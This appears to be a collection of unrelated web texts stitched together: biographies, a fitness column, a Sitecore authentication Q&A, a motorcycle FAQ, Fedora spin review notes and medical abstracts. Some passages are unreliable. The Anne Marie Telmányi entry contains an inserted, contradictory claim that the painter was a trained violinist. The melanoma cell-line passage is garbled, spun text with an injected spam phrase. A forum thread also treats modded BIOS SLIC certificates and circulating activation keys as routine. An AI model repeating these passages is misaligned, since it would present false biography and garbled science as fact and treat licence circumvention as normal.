When her distant cousin Alexander of Argyll's support of the opponents of King Robert the Bruce led to the forfeiture of his lands, they were distributed between Aonghas Óg of Islay and Ruaidhri mac Ailein. The latter received much of Lorne and parts of Lochaber and, through his sister Christina, Garmoran and the North Isles, including the Small Isles of Rùm and Eigg. Bruce was however careful to ensure his interests in the west were protected and Dunstaffnage Castle was given not to Ruari, now styled the "High Chief of Lorn" but to a royal constable, Arthur Campbell. Towards the close of the Bruce's reign, c. 1325, Ruaidhri mac Ailean was dispossessed for engaging in plots perceived to be against his king's interests. Amie and Ruaidhri also had a brother called Ailean (Alan), about whom little is known.
Edward Balliol may have restored these lands to Ruari's son and Amie's brother, Raghnall mac Ruaidhri, a state of affairs confirmed by David II c. 1344, who formally granted him Garmoran and the North Isles, although Lorn was retained by the crown and Lochaber in its entirety given to John of Islay, son of Aonghas Óg. Shortly thereafter, in October 1346, Raghnall was assassinated at Elcho Nunnery near Perth, as the result of a quarrel with Uilleam III, Earl of Ross. Raghnall was the "last chieftain of the MacRuaris" and Amie was his sole heir.
Marriage, children and divorce
John of Islay was also a descendant of Somerled via his father and thus a distant relative of Amie. By marrying this heiress to the Mac Ruaidhri lands he eventually controlled significant stretches of the western seaboard of Scotland from Morvern to Loch Hourn and the whole of the Hebrides save for Skye. The marriage took place in the 1330s, probably in 1337. From 1336 onwards John began to style himself Dominus Insularum—"Lord of the Isles", a title that implied a connection to the earlier Kings of Mann and the Isles and by extension a degree of independence from the Scottish crown.
However, his ambitions were by no means quenched. He continued to build his power base by allying himself with Robert the High Steward of Scotland and the designated heir of King David. The marriage had by now produced three sons: John, Godfrey, Ranald, but John and Robert made an arrangement by which John divorced Amie and married Robert's daughter, Margaret Stewart. John is said to have obtained a papal dispensation for the divorce, which took place in 1350, just four years after Amie's inheritance. The Lord of the Isles now received Knapdale and Kintyre as a dowry but in return his sons by Amie were to be passed over in the succession in favour of any children by the marriage with Margaret.
Later life
The "unvarying tradition" of the Gàidhealtachd recorded in the late 19th century was that Amie had given her husband no grounds for divorce and lived alone on her own estates until her death. The divorce annulled John of Islay's rights to her lands, although he managed to procure a royal charter to them in which her name is not even mentioned.
Amie was evidently of a pious disposition and built an oratory called Teampull Mhecael at the south-eastern point of Grimsay, and rebuilt the Teampul Chalumchille on Benbecula and the Trinity Church of North Uist. MacGibbon and Ross also attribute the building of the tower of Borve Castle, located to the south-west of the island of Benbecula, to Amie and dated the work to between 1344 and 1363. She is also said to have extended Castle Tioram in Moidart.
John of Islay kept to his agreement with Robert, now King in succession to David, and his children by Margaret inherited his title and the bulk of his lands. However Amie's son Ranald, who successfully petitioned for the return of much of the Mac Ruaidhri lands, including Garmoran and the North Isles, became the progenitor of Clan Macdonald of Clanranald and Clan MacDonell of Glengarry. Ranald acted as tutor to his younger half-brother Domhnall and was described as "old in the government of the Isles" on his father's death at Ardtornish Castle in 1386. He may have died in the same year, but the date of his mother's death is unknown.
The descendants of Godfrey, Amie and John's eldest son, who was titled Lord of Uist, were known as Siol Gorrie. In 1427, Alexander MacGorrie of Garmoran (also called Mac Ruaidhri), who may have been Godrey's son, is recorded as being the leader of 2,000 men. Not long afterwards he was imprisoned in Inverness and executed for sedition by King James I. | WIKI |
Slic and certificate question
Discussion in 'Windows 7' started by baskinghobo, Aug 8, 2009.
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I have a modded a bios and it uses a hp 2.1 slic and a hp certificate which is actually meant for vista. I want to know if it's likely for microsoft to disable vista certificates for windows 7?
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Anything is possible, but nobody can predict until discs appear on new machines with Windows 7 pre-installed. If all these have new certificates, then the odds are more likely that Microsoft could or will do something. But even if they do get disabled, there'll be a multitude of working certificates (and keys) available sooner or later, so there's absolutely no reason to be concerned about it.
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Yes, I think so. But they will still work for vista....:D:D
Why the worry??? It seems senseless to me.:D
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It’s that time of year again. Summer preparations are in full swing and we’re all after that beach body, those biceps, those shoulders and THOSE abs. We all want that buff look, and so here are my top tips for bulking up in time to work that vest top and look fierce in those Calvin Kleins this summer.
First of all be aware of your body type. Everybody is either an ectomorph (thin with a low body fat % – slim), endomorph (wider waist, larger bone structure and a higher body fat %) and mesomorph (wide shoulders, narrow waist – muscular). Once you know which type you are then let the bulking commence.
Remember that an ectomorph will not achieve the results and muscle mass which a mesomorph would. This is down to genetics, something which you can have no control over. Saying that, an ectomorph can still manage to pull off that toned and healthy look. For an ectomorph wanting to bulk up, first of all you are going to need to consume more calories than you are used to, but calories rich in protein and good fats. This will provide the body with more energy stores and also repair muscle fibres so that you are able to hit the weights on a more regular basis. An ectomorph will already have low body fat, and so through regular gym sessions and increasing the weights you are lifting or bench pressing on a fortnightly basis, those bulging muscles will look amazing on that beach or in that club.
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An endomorph will have more body fat than an ectomorph, so cardio is important here as it is the most effective way to burn those calories. Interval training (varying speeds, 1 minute sprint, 2 minutes jog etc.) is the quickest way of doing this. Contrary to belief, weights training is also a great way of burning calories as you actually burn calories whilst recovering from a workout. The more muscle mass a person has, the faster they burn calories, so get yourself booked into your local body pump class! By maintaining a consistent workout plan and by gradually increasing your weights you will have those non-gym goers envious in no time!
Finally, if you are a mesomorph then you are at an advantage as your body is more predisposed to building muscle which, with a sensible recovery routine, will allow you to increase your weights at a faster rate than an ectomorph or endomorph. Be careful though not to push your body to the point of exhaustion as recovery is the key to increasing muscle mass. Be sure to eat plenty of protein rich foods such as chicken, eggs and lentils. It is also worth mentioning that you cannot spot reduct (only focus on a specific muscle group e.g. biceps), if you are wanting to bulk up and build more muscle, then you have to work each major muscle group: quadriceps and hamstrings (front and rear of legs), latissimus dorsi (back), abdominals, shoulders, biceps, triceps and pectorals (chest) – see last week’s column for a great chest workout.
One of the areas which seems to get neglected in any workout is the back. There is a heavy emphasis placed on working the muscles in the chest as these are the more aesthetically pleasing muscles, but it is important to know that all muscle groups work in pairs and so if you are working the muscles in your chest, then you cannot neglect the muscles in your back, as this will only cause back pain and in extreme cases, spinal curvatures.
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Below are three simple exercises to work the muscles in your back:
1. Back Extensions – laying on your front, toes and nose in contact with floor and hands at the side of your head, slowly lift your stomach off the floor, 2 seconds up and 2 seconds down. 2 sets of 10 repetitions are sufficient.
2. Lat Pull Down (most gym facilities will have one of these) – in a seated position, grip the handles and pull them down so that your clenched fists are no lower than your shoulders and then slowly release. 2/3 sets of 15 repetitions will do you just fine.
3. Dead Lift (with a barbell) – choose a suitable weight for the barbell, grip the bar with your palm facing backwards, ensure that your lower back is arched and that you are looking straight ahead with your chest out. Tip from your hips ensuring the bar goes down no further than your knees. Keep those feet pointing forwards. 2/3 sets of 10.
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Rickshaw Boy (film)
Rickshaw Boy is a 1982 Chinese movie directed by Ling Zifeng, based upon the novel of the same name by Lao She. The film stars Siqin Gaowa, who won a Golden Rooster for her performance, and Zhang Fengyi.
Plot
Xiang Zi is a rickshaw boy who has always had a desire to excel and a thirst for freedom. He married Hu Niu who died of dystocia later. After her death, another girl, Xiao Fuzi, falls in love with Xiang Zi but they are separated by poverty. Xiang Zi works very hard in order to change his life, only to find that Xiao Fuzi is dead just as he begins to be hopeful for their future. Finally, Xiang Zi, an unflinching man, surrenders to that dark society.
Cast
* Siqin Gaowa as Hu Niu
* Yan Bide as Liu Siye
* Zhang Fengyi as Xiang Zi
Awards
* Golden Rooster Award for Best Picture at the 3rd Golden Rooster Awards (1982, won)
* Golden Rooster Award for Best Actress at the 3rd Golden Rooster Awards (1982, won - tied with Pan Hong)
* Golden Rooster Award for Best Art Director at the 3rd Golden Rooster Awards (1982, won)
* Golden Rooster Award for Best Sound at the 3rd Golden Rooster Awards (1982, won)
* Outstanding Film at the Huabiao Film Awards (1982, won)
* Best Film at the Hundred Flowers Awards (1983, won - three way tie with At Middle Age and The Herdsman)
* Best Actress at the Hundred Flowers Awards (1983, won) | WIKI |
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Using Sitecore 8.2 Update 3
I am using the Sitecore Services Client EntityService with Token authentication. When I try to access to the service after the token has expired, I should get a 403, but instead I get:
"Message": "An error has occurred.",
"ExceptionMessage": "Input string was not in a correct format.",
"ExceptionType": "System.FormatException",
"StackTrace": " at
System.Text.StringBuilder.AppendFormatHelper(IFormatProvider provider,
String format, ParamsArray args) at
System.String.FormatHelper(IFormatProvider provider, String format, ParamsArray args)
at System.String.Format(String format, Object[] args) at
Sitecore.Services.Infrastructure.Sitecore.Diagnostics.SitecoreLogger.Debug( String messageFormat, Object[] args)
at Sitecore.Services. Infrastructure.Sitecore.Security.SigningTokenProvider.ValidateToken(String token)
at Sitecore.Services.Infrastructure.Sitecore.Security.TokenDelegatingHandler.AttemptLoginWithToken(HttpRequestMessage request)\r\n
at Sitecore.Services. Infrastructure.Sitecore.Security.TokenDelegatingHandler.<SendAsync>d__0.MoveNext()\r\n
--- End of stack trace from previous location where exception was thrown ---
at System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess(Task task)
at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
at System.Web.Http.HttpServer.<SendAsync>d__0.MoveNext()"
So basically, the stringbuilder blows up when trying to write to the log. How do I intercept this to handle this error more appripriately? I want the end user to get a 403.
UPDATE
This is occurring on the ValidateToken method. The token is expired, so it throws a SecurityTokenInvalidLifetimeException which then logs like os:
this._logger.Debug(string.Format("Token invalid: {0}", (object) ex), (object) this);
This is in the class SigningTokenProvider, which I could maybe replace if I could figure out how to swap it out with my own version. Its not referenced anywhere in ShowConfig, so I dont really know where to look.
UPDATE 2
I did implement replacing Sitecore's token provider as per @zacharykneibel. Once that was replaced, I determined the problem was how they are generating the error message. It generated the error message with some fixed string and an anonymous object. They then log like this:
this._logger.Debug(string.Format("Token invalid: {0}", (object) ex), (object) this);
The problem is that exception, the message contains a string representation of an object that contains items in double quotes and also brackets ({ and }) which are not escaped. This would be fine in an api call, it would com back as json, but they are logging it to the Sitecore log, where things go awry. This feels a bit hacky, but I fixed this by replacing the characters in the error message. For the above mentioned reason, I editing the logging method, and the the error itself:
his._logger.Debug(string.Format("Token invalid: {0}", ex.Message.Replace("{","{{").Replace("}","}}").Replace(@"""",@"""""")), (object)this);
I might write a method to better convert this object to a cleaner string.
To make matters worse, once this was resolved, it seemed there was no logic to prevent a call to the api if the token authentication failed. It noted that the token was no good, but it still processed the call to the api, so I had to rewrite that method as well.
Here's Sitecore method:
rotected override async Task<HttpResponseMessage> SendAsync(HttpRequestMessage request, CancellationToken cancellationToken)
{
this.AttemptLoginWithToken(request);
return await base.SendAsync(request, cancellationToken);
}
I will need to do something lime this:
protected override async Task<HttpResponseMessage> SendAsync(HttpRequestMessage request, CancellationToken cancellationToken)
{
if (!AttemptLoginWithToken(request))
{
var response = new HttpResponseMessage(HttpStatusCode.Forbidden);
return response;
}
return await base.SendAsync(request, cancellationToken);
}
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TL;DR
The SigningTokenProvider is instantiated in the constructors of the Sitecore.Services.Infrastructure.Sitecore.Security.TokenDelegatingHandler (which you discovered and shared with me offline). The type used for the TokenDelegatingHandler is set in the api/services/configuration/delegatingHandlers node list in the config, which means that you can add a patch to use your own implementation. Your implementation would then be used to instantiate your own SigningTokenProvider type, which you could then customize to suit your needs.
Implementing the SigningTokenProvider
The first thing that you will need to do is create your own implementation of the SigningTokenProvider class. Unfortunately, since the ValidateToken method that you are looking to override is not marked virtual and - even if it was - all of the properties and fields that it uses are either private or internal, you are going to need to completely replace the native SigningTokenProvider type with your own implementation. IMHO, the easiest way to do this is to decompile the Sitecore.Services.Infrastructure.Sitecore.dll assembly and copy and paste the class' body into your own. For clarity, let's assume that your copy of this is named MySigningTokenProvider, and that you have performed the necessary refactoring of the class name and constructor names.
Once you have added/resolved any and all missing references, you will notice a slight problem in your parameterless constructor: the ApplicationContainer.ConfigurationSettingsLoader delegate is marked internal, and thus cannot be referenced from your implementation. The delegate looks as follows:
internal static Func<Sitecore.Services.Core.Configuration.ConfigurationSettings> ConfigurationSettingsLoader = (Func<Sitecore.Services.Core.Configuration.ConfigurationSettings>) (() => new ConfigurationReader((IConfigurationSectionProvider) new ConfigurationSectionReader()).Load());
After removing the namespaces and explicit type-casts and formatting a little to make it a little easier to read on SSE:
internal static Func<ConfigurationSettings> ConfigurationSettingsLoader =
() =>
new ConfigurationReader(new ConfigurationSectionReader()).Load();
There are a few ways around this:
• NO: Replace the ApplicationContainer with your own that marks the delegate public
• NO: Rename your project to Sitecore.Services.Infrastructure.Sitecore.Test so that you can reference internal members
• YES: Copy the very simple delegate that simply instantiates a new instance of a public type and doesn't pass in anything internal, private, etc. from the ApplicationContainer
Once you have replaced the invocation of ApplicationContainer.ConfigurationSettingsLoader with the invocation of a local, duplicate implementation of the delegate, you should be free to implement your own version of the ValidateToken method. All that should remain is to make sure that your new MySigningTokenProvider class is used instead of the native SigningTokenProvider.
Implementing the TokenDelegatingHandler
To make sure that your new SigningTokenProvider implementation is used instead of the native one, there are two constructors in the native TokenDelegatingHandler type that you will need to replace. Fortunately, both of the constructors are marked protected and are bodiless. Since the constructors that you need to replace do not have property-setting bodies and none of the methods, properties, etc. need to be replaced, you can get away with simply inheriting from the native TokenDelegatingHandler type and overriding the two constructors.
The constructors that you will need to replace are the following:
public TokenDelegatingHandler()
: this((ITokenProvider) new ConfiguredOrNullTokenProvider((ITokenProvider) new SigningTokenProvider()), (IUserService) new UserService())
{
}
...
protected TokenDelegatingHandler(HttpMessageHandler innerHandler)
: this(innerHandler, (ITokenProvider) new ConfiguredOrNullTokenProvider((ITokenProvider) new SigningTokenProvider()), (IUserService) new UserService())
{
}
Your TokenDelegatingHandler should then look something like the following:
public class MyTokenDelegatingHandler : Sitecore.Services.Infrastructure.Sitecore.Security.TokenDelegatingHandler
{
public MyTokenDelegatingHandler()
: this((ITokenProvider) new ConfiguredOrNullTokenProvider((ITokenProvider) new MySigningTokenProvider()), (IUserService) new UserService())
{
}
protected MyTokenDelegatingHandler(HttpMessageHandler innerHandler)
: this(innerHandler, (ITokenProvider) new ConfiguredOrNullTokenProvider((ITokenProvider) new MySigningTokenProvider()), (IUserService) new UserService())
{
}
}
Sitecore Support
The behavior that you described sounds to me like a bug, since the code is blowing up when trying to write to the log. I recommend that you file a Sitecore Support ticket for this issue, in order to make them aware and get their teams working on a patch. They may also provide you with a Support patch that you can use in place of rolling your own SigningTokenProvider and TokenDelegatingHandler types, which - IMHO - is a better long-term solution.
If you reach out to Sitecore Support and they provide you with a patch and/or a reference number, be sure to update your post with that information for other members to use as a reference if they experience the same issue ;)
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• Do you have an example of how to patch this Handler? Commented Feb 18, 2018 at 3:30
• I don’t @MichaelWest - I wrote this solution based on the theory of what was in the code and possible for the OP to be able to override the class. I remember that I did find the way to apply the handler - I just can’t remember how and don’t seem to have my notes anymore. DM me over Slack if you’re having trouble patching this in, yourself, and I’ll help work the problem to find the entry point. Commented Feb 18, 2018 at 3:50
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The patch here might do the trick. sitecore.stackexchange.com/a/8363/95 Commented Feb 18, 2018 at 4:46
• Yes, I worked with Ethan on that in person. That’s why I couldn’t find my notes. Great find! Commented Feb 18, 2018 at 12:34
• Getting the same issue, does turning off DEBUG logging work around it?
– geedubb
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the same chance with them burglars as a one-legged guy would have to outrun a frightened deer, and from Richard's pale, desperate face they was givin' him a fearful trimmin' and makin' him love it!
When Richard got his next five cards he happened to look up and see us. He nodded and then glanced at his hand. Instantly he's afire with excitement. He beckons for us to come closer and when Kid Roberts bends down our young friend in a hoarse whisper puts the bee on him for a two-hundred-buck loan. I frowned, not bein' in favor of puttin' anything out to strangers, whether they had luscious sisters or not, and the Kid stalls by askin' Richard if he didn't think he ought to call it a day and quit playin'. Impatiently the boy says no and guardedly allows us to see his hand. It was the panther's pajamas—four aces!
Well, it certainly looked like our boy scout was equipped for a hog killin' and Kid Roberts slipped him the two hundred under the table. Tryin' to appear at ease but makin' a dismal failure of it, young Richard tossed the bills to the banker. Me and Kid Roberts gasps and looks at each other queerly when the banker calmly flips back just four white chips for Richard's two hundred fish. We're both convinced that this is considerable game of poker when white chips is priced at fifty smackers a copy!
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Are motorcycles standard?
Are motorcycles automatic or manual?
Even though the overwhelming majority of motorcycles today use manual transmissions, there’s a growing segment of bikes that don’t require any shifting or clutch operation by the rider.
What is a standard motorcycle?
Standards, also called naked bikes or roadsters, are versatile, general-purpose street motorcycles. They are recognized primarily by their upright riding position, partway between the reclining rider posture of the cruisers and the forward leaning sport bikes.
Why are motorcycles manual?
A few reasons: Motorcycles have larger amounts of power to transmit than scooters so the transmissions would need to be stronger and would also be heavier. Motorcyclists have a need for tight/predictable coupling between engine and wheels while slowing or accelerating in turns. Manual shifting is how it has been done.
Are motorbikes and motorcycles the same?
Brief History of the Terms
The two terms are actually interchangeable and used to describe the exact same type of vehicle. While the motorcycle is a combination of motor and bicycle, the motorbike is a combo of motor and bike.
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Are automatic motorcycles safer?
Is Automatic Motorcycle right for you? If you’re not a fan of ‘shifting gears’ every now and then, you need to get yourself an automatic motorcycle right now. Not only does it make riding more leisure but automatic transmission also provides a safer ride. Some cases of motorcycle accidents are caused by lousy shifting.
What types of motorcycles are automatic?
5 Automatic Transmission Motorcycles You Can Buy Today
• Honda NC750X DCT. The Honda NC750X is a touring motorcycle with a 745cc parallel twin. …
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What is the easiest motorcycle to ride?
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What is the biggest cc motorcycle?
The road-legal highest cc bike is the BOSS HOSS which holds a massive 6200cc engine. The V8 engine of the bike is derived from Chevrolet and is globally approved for production. Talking about pure production motorcycles the Triumph Rocket III with a 2500cc inline 3 engine is the highest cc production motorcycle.
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Why is 1st gear down on a motorcycle?
when braking in a hurry stamping down until you reach the bottom will leave you in first, NOT neutral. This is much safer in many respects than being left with no power in an emergency situation. when starting from neutral, there is no risk of ending up in the wrong gear; 1 kick down leaves you in first gear.
At what RPM should you shift gears on a motorcycle?
Revolutions per minute or RPM of the engine is a signal’ in simple language to tell you to change gears. You should change gears around 2000 to 2500 RPM.
Why is it called a motorcycle?
motorcycle (n.) Look up motorcycle at Dictionary.com 1895, a hybrid from motor + -cycle, from bicycle. Motocycle also was used late 19c. That gives the story of how the name came about: the hybrid addition of motor to cycle.
Is riding a motorcycle easier than a bike?
A motorcycle weighs like 40 times more than a bicycle, it’s a lot more difficult to balance. Once the motorcycle is up to speed, it’s a lot easier to balance, but it’s always going to be more difficult to balance than a bicycle.
Which is better scooter or motorcycle?
When it comes to scooters vs motorcycles, motorcycles are usually harder to learn to ride but have larger engines and top speeds, while scooters are more fuel efficient, cheaper and have better maneuverability. This makes scooters a good choice for urban commuters.
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*The birth of Opothleyahola is celebrated on this date in c. 1778. He was a Native American, Muscogee Creek Indian chief, noted orator, and slave owner.
Also known as Opothle Yohola, he was from Florida and a Speaker of the Upper Creek Council and supported traditional culture. Although known as a diplomatic chief, as a Red Stick traditionalist he led Creek forces against the United States government during the Creek Wars. Later the young man developed as an influential and eloquent speaker who used his skills for his people first and foremost. He was selected as a Speaker for the chiefs, which was a distinct political role on the National Council, and he later became a "diplomatic chief." He became a wealthy trader and owned a 2,000-acre plantation near North Fork Town. As did other Creek and members of the Five Civilized Tribes, he purchased enslaved Africans as workers for his plantation.
Opothleyahola joined the Freemasons and accepted Christianity, becoming a Baptist. Later he tried to overturn the Treaty of Indian Springs but was forced to make a new treaty with the federal government in 1832. He was commissioned as a colonel and led forces against the remaining Lower Creek and the Seminole in the first two wars of the US against them. Despite his efforts, he and his people were among the Seminole and others forced to remove to Indian Territory in 1836, where they settled in the Unassigned Lands. At the outbreak of the American Civil War, Opothleyahola and Creek remained loyal to the federal government. On August 15, 1861, Opothleyahola contacted President Abraham Lincoln to request help for the loyalists. On September 10, they received a positive response, saying that the United States government would assist them.
The letter directed Opothleyahola to move his people to Fort Row in Wilson County, Kansas, where they would receive asylum and aid. On November 15, Confederate Col. Douglas H. Cooper, a former US Indian Agent, led 1,400 men, including pro-Confederate Indians, northward; he intended either to convince Opothleyahola and his followers to support the Confederacy or to "drive him and his party from the country." Believing Federal promises of assistance, Opothleyahola led his band (including Seminole under Halleck Tustenuggee) toward Kansas. Along the way, they had to fight three battles against their pursuers and had lost many of their goods in their quick departure.
At Round Mountain, Opothleyahola's forces drove back the Confederates to Fort Gibson. Many Creeks died that winter, among them Opothleyahola's daughter. Conditions for the Creek in Kansas continued to be very harsh. Opothleyahola died in the Creek refugee camp near the Sac and Fox Agency at Quenemo in Osage County, Kansas, on March 22, 1863. He was buried beside his daughter near Fort Belmont in Woodson County, Kansas. | FINEWEB-EDU |
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their axes are parallel, and let the two slotted bars be also placed parallel to each other and joined. Then evidently, if $$a d$$ be fixed, every point in $$b c$$ must move parallel to the centre line of the slots, as shown by the arrow. All such points therefore describe equal straight lines. Thus the motion takes place exactly as it would if $$b c$$ were a solid prism enclosed by a hollow one, like the pair $$a b$$ in Fig. 8. Thus by combining two pairs we have obtained nothing but what we could have got by means of a single one. So far the experiment has led to no result.
. 9.
But if we do not place $$a$$ and $$d$$ parallel to each other, but set them obliquely as shown in Fig. 9, the case is entirely altered. The centres of $$b$$ and $$c$$ no longer move in similar directions in the slots, and consequently the various points in $$b c$$ no longer have similar paths,—the point $$p$$, for example, describes a curve. The motion is thus quite different from what it was before.
Nevertheless in these two different cases, Figs. 7 and 9, the same relation obtains; in both, $$b c$$ and $$a d$$ form rigid bodies, or what may be considered as such,—that is to say, we have in the end one pair of elements only, by combining two pairs of bodies. With different methods of combination different results are obtained, but in every case there results only one pair.
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Anne Marie Telmányi
Anne Marie Frederikke Telmányi née Nielsen (1893–1983) was a Danish painter and writer. In addition to landscapes and mythological subjects, she is remembered in particular for her portraits of important figures of the times. Her writings include a biography of her mother, Anne Marie Carl-Nielsen, who was also an artist. Her father was the composer Carl Nielsen and her husband was the Hungarian violinist Emil Telmányi.
Telmányi began playing the violin at a young age and quickly demonstrated her talent. She went on to study at the Franz Liszt Academy of Music in Budapest and later in Berlin with Carl Flesch. Anne Marie Frederikke Telmányi was an accomplished violinist and teacher who made significant contributions to the classical music world.
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Born in Copenhagen on 4 March 1893, Anne Marie Frederikke Nielsen, familiarly known as "Søs", was the daughter of the celebrated composer Carl Nielsen (1865–1931) and his wife, the sculptor Anne Marie Brodersen (1863–1945). She grew up in a home rich in culture as her father composed on the piano and her mother worked in her studio. In her book Mit barndomshjem, she fondly describes how her father frequently played with the three children. She had an elder sister, Irmelin (1891–1974), and a younger brother, Hans Børge (1895–1956), who was handicapped after suffering from meningitis.
Interested in drawing during her early childhood, Nielsen received her first formal lessons at the art school run by Julie Meldahl and Charlotte Sode. She entered the Royal Danish Academy of Fine Arts in 1909 when she was only 16 but was sent to a boarding school in England a year later. After returning to the Academy in 1912, she graduated in 1916. The same year she was awarded the Academy's gold medal for a pietà.
Anne Marie Nielsen first exhibited at the Charlottenborg autumn exhibition in 1917. The following year she married the Hungarian virtuoso violinist Emil Telmányi (1892–1988) who had specialized in her father's compositions. For some years, she accompanied her husband on his concert tours of Europe, often painting landscapes of the places they visited.
From 1925 to 1926, Telmányi continued her studies in Paris at the Académie Moderne studying under Othon Friesz and Fernand Léger. Thereafter, her paintings displayed greater integration of light and colour. In 1933, she was commissioned to decorate the staircase at the Royal Music Academy. She completed four portraits, employing a difficult wax technique but her work is no longer accessible. Her figurative work included landscapes and mythological motifs but she is remembered above all for her portraits of celebrated figures such as the modernist painter Olivia Holm-Møller, the actress Bodil Ipsen, the opera singer Else Brems and the archaeologist Peter Glob. She also painted a number of self-portraits.
In 1936, after her marriage was dissolved, she moved in with her mother until her death in 1945. She developed her friendship with Else Vogel-Sørensen, whom she had met at the Academy. The two exhibited together from the 1930s to the 1950s. In 1961, she joined the Aurora group of artists based on the island of Møn and contributed to their exhibitions which toured Denmark. In 1957, Fyns Kunstmuseum (Art Museum of Funen) presented a retrospective exhibition of her work.
She wrote a biography of her mother,. Also in 1979, together with her sister Irmelin Eggert Møller, she created a sizeable foundation with the funds they had inherited from their parents. They established two awards, one for musicians and sculptors known as the Carl Nielsen and Anne Marie Carl Nielsen Legat, the other in support of female artists aged more than 40, the Anne Marie Telmányis Legat.
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St Matthias School is a mixed secondary school located in Wolverhampton in the West Midlands of England.
It was established as Deansfield High School in 1968, and serves the Deansfield area in the east of the city, around the Willenhall Road. It was later renamed Deansfield Community School.
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• Please make sure to fill out all paragraphs. Currently "Screenshot" and "Download page are empty.
• What testing has done so war? I see there was a test day, but I cannot find any details about it.
• What ISOs were used? Please provide a download link.
• What tests were run?
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Proposed changes to the ks
1. The sed commands need to be part of the livesys initscript so they are only applied to the live system but not the installed packages.
2. The files that are added to /etc/skel/.kde/share/config should probably be part of a package. I suggest to move kdeglobals, ksplashrc, and plasmarc to the fedora-jam-kde-theme package, given that they do not conflict with other packages.
3. If they do conflict, you should move them to the initscript, too, but this would mean that we loose the custom artwork after installation. Here is my suggestion: You can overwrite the settings, but please make sure take the latest version of the original KDE settings, preserve all settings except the ones you need to overwrite. We must not loose a setting and should stick to the KDE settings as close as possible.
4. The changes to FavoriteURLs are ok I think.
Given that all these are met, I marked your wiki page Spins_Ready_For_SIG --Cwickert (talk) 21:25, 2 December 2012 (UTC)
Size reductions - some philosophy and research
1. This close to the release date and given the slip, I wonder if removing packages is a good idea.
2. The ISO is about 1.5 GB at the moment. By contrast, Ubuntu Studio 12.04 is 2.1 GB and the Fedora 17 Scientific KDE spin is 2.5 GB!
3. That said, I looked through the kickstart files and have a few ideas:
1. Calligra - the kickstart files are loading the Calligra word processor, spreadsheet and presentation packages. I personally have never used Calligra and rarely use LibreOffice / OpenOffice. The "lightweight desktops" like LXDE tend to carry gnumeric and abiword, but unless there's a *need* for word processing or spreadsheets, I wouldn't even put those in.
2. Games - the kickstart files are loading kdegames-minimal. I have no idea how much space that takes up, but if we're going to delete packages, that's a good place to start.
3. The KDE kickstart files are removing Amarok in favor of Dragon. But we are putting Amarok back in. Yes, I know, it's a media creation spin, but do we need both Amarok and Dragon? Is there a lighter weight media player we can use instead? Would we be better off with a video editor like PiTiVi than a media player?
I can do a test run of my script with Amarok, Calligra and kdegames-minimal removed to see what happens. I expect Calligra is the biggie, followed by games and Amarok.
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There was no pErk inhibition in two cell lines with NRAS Q61L mutation and also a cell line The thing that Almost all consumers Despises Concerning Vorinostat Also The key reason why wild variety for both oncogenes. Actually, there was a markedly greater pErk signal in one NRAS Q61L mutated cell line, an observation consistent with data from other people which has been attributed to loss of negative regulatory pathways and enhanced signaling through C Raf. Therefore, PL 4032 inhibits MAPK pathway signaling especially in cell lines that harbor the BRAFV600E mutation. Differential sensitivity to PL 4032 in BRAFV600E mutated melanoma cell lines Melanoma cell lines with unique NRAS BRAF muta tional standing had been handled in vitro by using a choice of concen trations of PL 4032 for 5 days. The three cell lines without the need of BRAFV600E mutation had been resistant to PL 4032.
7 BRAFV600E mutant cell lines had been sensitive to PL 4032, together with 4 very delicate cell lines with half ma imal inhibitory concentration values under 1 uM. Surprisingly, in 3 cell lines with BRAFV600E mutation we could not establish an IC50 with rising concentrations of PL 4032 up to 10 uM, sug gesting that these cell lines are resistant to this agent within a 5 day e posure in vitro. Equivalent results are already obtained in three day viability assays and when PL 4032 is additional day by day to the cultures or simply in the starting in the e periment. PL 4032 has similar inhibitory effects on cell cycle in sensitive and resistant BRAFV600E mutant cell lines To research results of PL 4032 on cell cycle progression downstream of B Raf signaling we made use of propidium iodide flow cytometric staining.
As e pected, PL 4032 had no impact on cell cycle progression in melanoma cell lines without having a BRAFV600E mutation. In contrast, PL 4032 e posure for a single or 20 hrs led to a equivalent and profound G1 arrest in all BRAFV600E mutant cell lines irrespective of their in vitro sensitivity to PL 4032. PL 4032 leads to apoptotic death in sensitive BRAFV600E but not in resistant BRAFV600E mutated melanoma cell lines We then analyzed the potential of PL 4032 to differentially induce apoptotic results towards melanoma cell lines with the BRAFV600E mutation. Using a BRAFV600E mutant mela noma cell line with a good response to PL 4032 and another one particular that was poorly responsive to PL 4032 based on cell viability assays, we analyzed apop totic induction using flow cytometry based mostly over the incor poration of propidium iodide and Anne in V. Following PL 4032 treatment, the increase in Anne in V favourable cells, with or without having being double constructive for propidium iodide, was higher within the PL 4032 responsive M249 cells in contrast towards the poorly responding M233 cells. Comparable results were obtained with M238 and M263. | ESSENTIALAI-STEM |
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Objective: To investigate whether there are definable subgroups of patients with essential hypertension who respond specifically to particular antihypertensive drugs. Design: Randomized cross-over comparison of the antihypertensive effect of 50 mg atenolol per day, 10mg lisinopril per day and 20 mg nifedipine retard twice a day. Ambulatory blood pressure monitoring was used to assess the blood pressure level both for recruitment and at the end of each treatment period. The treatment periods lasted 4 weeks and were preceded by 4 weeks of placebo. Patients: Seventy-two untreated hypertensive patients with a mean age of 52 (SD 8.4) years were recruited from six general practices and from the hospital outpatient clinic. Sixty-eight patients completed the trial. Main outcome measures: To assess the within-patient correlations among the blood pressure responses to each drug and explore the possible role of simple characteristics, such as the initial blood pressure, plasma renin concentration and age, in identifying the responders to a particular drug. Results: Systolic/diastolic blood pressure fell significantly with each agent (P<0.001): atenolol reduced it by 16.3±13.3/9.9±8.8, lisinopril by 14.8±15.0/9.4±9.1 and nifedipine by 11.6±12.3/6.7±8.3mmHg. There was a low degree of correlation between the changes in blood pressure with the three drugs in individual patients. With each drug there was a small percentage (8.9-14.7%) of non-responders. The initial level of systolic blood pressure was weakly correlated with the antihypertensive effect of nifedipine (r = 0.47, P < 0.001) and plasma renin concentration was related to the effect of atenolol (r = 0.32, P<0.01). Age did not predict the blood pressure response to any agent. Conclusions: The low level of the correlation between the blood pressure changes with the three drugs suggests that different mechanisms may be involved in the aetiology of essential hypertension. Plasma renin concentration and the initial level of systolic blood pressure contribute only weakly to the identification of responders to the three drugs. © Current Science Ltd.
